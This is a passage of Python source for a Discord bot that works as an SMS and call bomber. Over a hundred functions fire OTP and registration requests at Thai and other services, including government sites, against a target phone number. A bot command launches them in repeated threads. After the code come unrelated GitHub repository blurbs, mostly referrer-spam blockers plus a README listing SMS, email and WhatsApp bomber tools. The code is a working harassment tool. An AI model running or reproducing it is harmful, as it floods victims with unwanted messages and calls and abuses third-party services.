"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() bot.run(TOKEN, reconnect=True)
MohamedBassem / Spam Referrals BlockerA tiny Js library to remove the hassle of updating your Google Analytics filters with urls spamming your referral results. It's extremely useful for websites that you don't have control on its web server, Github pages for instance.
centminmod / Centminmod Ultimate Bad Bot BlockerUltimate Bad Bot Blocker are for Centmin Mod 123.09beta01
middlewares / Referrer SpamPSR-15 middleware to block referrer spammers
bmustata / Referrer Spam BotMeteor application to remove your referrer spam and ghost traffic from your Google Analytics account
andreaskoch / Ga Spam ControlCommand-line utility for blocking referrer spam from your Google Analytics accounts
ARCANEDEV / SpamBlocker:space_invader: Spam Blocker is a package that allows you to block referral spammers
IBM / Hdp Search Spark RecommenderWARNING: This repository is no longer maintained :warning: This repository will not be updated. The repository will be kept available in read-only mode. Refer to https://github.com/IBM/sms-spam-filter-using-hortonworks for a similar example.
kambrium / Apache Referrer Spam BlacklistThis script generates a .htaccess file based on the referrer spam blacklist from https://github.com/matomo-org/referrer-spam-blacklist
chauncey-garrett / Referral Spam BlacklistBlacklist referral spam on a server level with nginx
naseem-darkified / README.mdREADME.md 💥💣💣💣 BOMBERs 💣💣💣💥 SMS/Email/whatsapp Bombers Collection. Working : Working Not-Working : Not- Working (Or need some modifications) Others : Others (pending, Some anothers issues OR not checked that is it working or not.) SMS BOMBERS 📲 💥 Not-Working 1. Sms_bomber.py -> sending continues sms from using one single link. NOTE: Sms_bomber.py not working anymore, please refer: Sms_bomber_updated.py Others 2. Sms_bomber_version2.py -> sending continues sms from using one Multiple links. Working 3. bomb3r 💣 -> sending continues sms from on specified mobile number (25 different sms providers)- by iMro0t Others 4. numspy_bomber.py -> Numspy bomber sending multiple free messages using numspy module. (Currently not working need to update) Others 5. SmS-BomB -> Your Own SmS BomBer...!!! - by Bhai4You Others 6. SpamSms -> Spamming mobile number with OTP. - by KANG-NEWBIE Others 7. C-SpamMasal -> Spamming mobile number with OTP. - by KANG-NEWBIE Others 8. SMS-BOMBER -> SMS Bomber. - by jdleo Working 9. SMS spamming using email address -> SMS using email. - by metachar Working 10. TBomb -> SMS Bomber(Ubuntu/termux) - by TheSpeedX Others 11. smsBomb -> SMS Bomber. - by shellvon Others 12. sms-bomber -> SMS Bomber. - by aarnhub Others 13. Reborn SMS Bomber For Termux and Linux -> Reborn SMS Bomber. - by 4nat Working 14. ni_bomber -> SMS Bomber - by Nikait Working 15. YetAnotherSMSBomber -> Sms Bomber. - by AvinashReddy3108 EMAIL BOMBERS 📧 💥 Not-Working 1. Email_bomber.py -> sending continues email. Working 2. Email_bomber -> sending continues email -by zanyarjamal Working 3. Email_bomb -> sending continues email using your yahoo and gmail account-by MrMugiwara Others 4. EmBomber -> Email Bomber. - by MazenElzanaty Working 5. Python---Email-Bomber -> Email Bomber. - by ncorbuk Working 6. EmailPySpam -> Email Bomber. - by Curioo Others 7. Email-Spammer -> Email Bomber. - by Juniorn1003 Whats-app Bombers 📲 💥 Working 1. wbomb.py -> Whatsapp-bomber sending multipal message to a single user Working 2. whatabomb -> Whats-app bomber GUI - by tbhaxor Others 3. wbomb_version2.py (coming soon) -> Whatsapp-bomber sending multipal message to multipal users. Others 4. WhatsApp-Bomber -> WhatsApp Monitor+Bomber (Chrome Extension) - by rizwansoaib Others 5. WhatsApp-Spam -> WhatsApp-Spam scripts - by macr1408 Others: Working 1. https://mailspammer.cf - Email Spammer Website. Spam piles and piles of emails! - by WOLFIE_OG
roks0n / Nginx Referrer Spam BlockBlock referrer spam on NGINX
threenine / StopWebCrawlersFree WordPress plugin to stop Referrer spammers
